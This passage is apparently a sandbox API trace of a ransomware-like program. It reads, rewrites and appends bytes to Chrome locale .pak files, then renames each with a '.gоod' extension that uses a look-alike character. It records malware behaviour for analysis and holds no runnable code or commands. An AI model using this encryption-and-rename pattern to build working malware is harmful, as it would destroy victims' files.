lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3df4645d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9115d)) returned 1 [0110.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0110.300] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak.gоod")) returned 1 [0110.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x0) returned 0x4c [0110.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0110.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), fInfoLevelId=0x0, lpFileInformation=0x354bbf0 | out: lpFileInformation=0x354bbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a492b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4307f)) returned 1 [0110.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0110.301] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x0) returned 0x4c [0110.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.301] GetFileType (hFile=0x768) returned 0x1 [0110.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.301] GetFileType (hFile=0x768) returned 0x1 [0110.301] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0110.301] ReadFile (in: hFile=0x768, lpBuffer=0x354c008, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x354c008*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0110.527] CloseHandle (hObject=0x768) returned 1 [0110.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x0) returned 0x4c [0110.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.528] GetFileType (hFile=0x768) returned 0x1 [0110.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.528] GetFileType (hFile=0x768) returned 0x1 [0110.528] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4307f [0110.528] WriteFile (in: hFile=0x768, lpBuffer=0x36cc2b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x36cc2b0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0110.542] CloseHandle (hObject=0x768) returned 1 [0110.543] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x0) returned 0x4c [0110.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.543] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.543] GetFileType (hFile=0x768) returned 0x1 [0110.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.543] GetFileType (hFile=0x768) returned 0x1 [0110.543] ReadFile (in: hFile=0x768, lpBuffer=0x36e33d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36e33d0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0110.983] CloseHandle (hObject=0x768) returned 1 [0110.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x0) returned 0x4c [0110.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.983] GetFileType (hFile=0x768) returned 0x1 [0110.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.983] GetFileType (hFile=0x768) returned 0x1 [0110.983] WriteFile (in: hFile=0x768, lpBuffer=0x338f520*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x338f520*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0110.983] CloseHandle (hObject=0x768) returned 1 [0110.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x0) returned 0x4c [0110.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak.gоod", lpFilePart=0x0) returned 0x51 [0110.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0110.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3e5d499a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4308f)) returned 1 [0110.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0110.984] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak.gоod")) returned 1 [0110.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x0) returned 0x4c [0110.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0110.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), fInfoLevelId=0x0, lpFileInformation=0x34d5178 | out: lpFileInformation=0x34d5178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a68e84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4af4c)) returned 1 [0110.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0110.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x0) returned 0x4c [0110.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.985] GetFileType (hFile=0x768) returned 0x1 [0110.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.985] GetFileType (hFile=0x768) returned 0x1 [0110.985] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0110.985] ReadFile (in: hFile=0x768, lpBuffer=0x34d5590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x34d5590*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0110.988] CloseHandle (hObject=0x768) returned 1 [0110.988] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x0) returned 0x4c [0110.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.988] GetFileType (hFile=0x768) returned 0x1 [0110.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.988] GetFileType (hFile=0x768) returned 0x1 [0110.988] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4af4c [0110.989] WriteFile (in: hFile=0x768, lpBuffer=0x34e32a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x34e32a8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0110.990] CloseHandle (hObject=0x768) returned 1 [0110.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x0) returned 0x4c [0110.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0110.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0110.990] GetFileType (hFile=0x768) returned 0x1 [0110.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0110.990] GetFileType (hFile=0x768) returned 0x1 [0110.990] ReadFile (in: hFile=0x768, lpBuffer=0x34e56f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34e56f8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0112.749] CloseHandle (hObject=0x768) returned 1 [0112.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x0) returned 0x4c [0112.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.750] GetFileType (hFile=0x768) returned 0x1 [0112.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.750] GetFileType (hFile=0x768) returned 0x1 [0112.750] WriteFile (in: hFile=0x768, lpBuffer=0x33be460*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x33be460*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0112.750] CloseHandle (hObject=0x768) returned 1 [0112.750] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x0) returned 0x4c [0112.750] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak.gоod", lpFilePart=0x0) returned 0x51 [0112.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0112.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f6ab579, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4af5c)) returned 1 [0112.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0112.750] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak.gоod")) returned 1 [0112.751] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x0) returned 0x4c [0112.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0112.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), fInfoLevelId=0x0, lpFileInformation=0x359cee8 | out: lpFileInformation=0x359cee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a8ff84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3fca0)) returned 1 [0112.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0112.751] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x0) returned 0x4c [0112.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.752] GetFileType (hFile=0x768) returned 0x1 [0112.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.752] GetFileType (hFile=0x768) returned 0x1 [0112.752] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0112.752] ReadFile (in: hFile=0x768, lpBuffer=0x359d300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x359d300*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0112.786] CloseHandle (hObject=0x768) returned 1 [0112.786] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x0) returned 0x4c [0112.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.786] GetFileType (hFile=0x768) returned 0x1 [0112.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.786] GetFileType (hFile=0x768) returned 0x1 [0112.786] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3fca0 [0112.786] WriteFile (in: hFile=0x768, lpBuffer=0x35cacb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35cacb8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0112.807] CloseHandle (hObject=0x768) returned 1 [0112.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x0) returned 0x4c [0112.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.807] GetFileType (hFile=0x768) returned 0x1 [0112.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.807] GetFileType (hFile=0x768) returned 0x1 [0112.807] ReadFile (in: hFile=0x768, lpBuffer=0x35d1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35d1b30*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0112.910] CloseHandle (hObject=0x768) returned 1 [0112.910] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x0) returned 0x4c [0112.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.910] GetFileType (hFile=0x768) returned 0x1 [0112.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.910] GetFileType (hFile=0x768) returned 0x1 [0112.910] WriteFile (in: hFile=0x768, lpBuffer=0x3436320*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3436320*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0112.910] CloseHandle (hObject=0x768) returned 1 [0112.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x0) returned 0x4c [0112.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak.gоod", lpFilePart=0x0) returned 0x51 [0112.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0112.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f828d40, 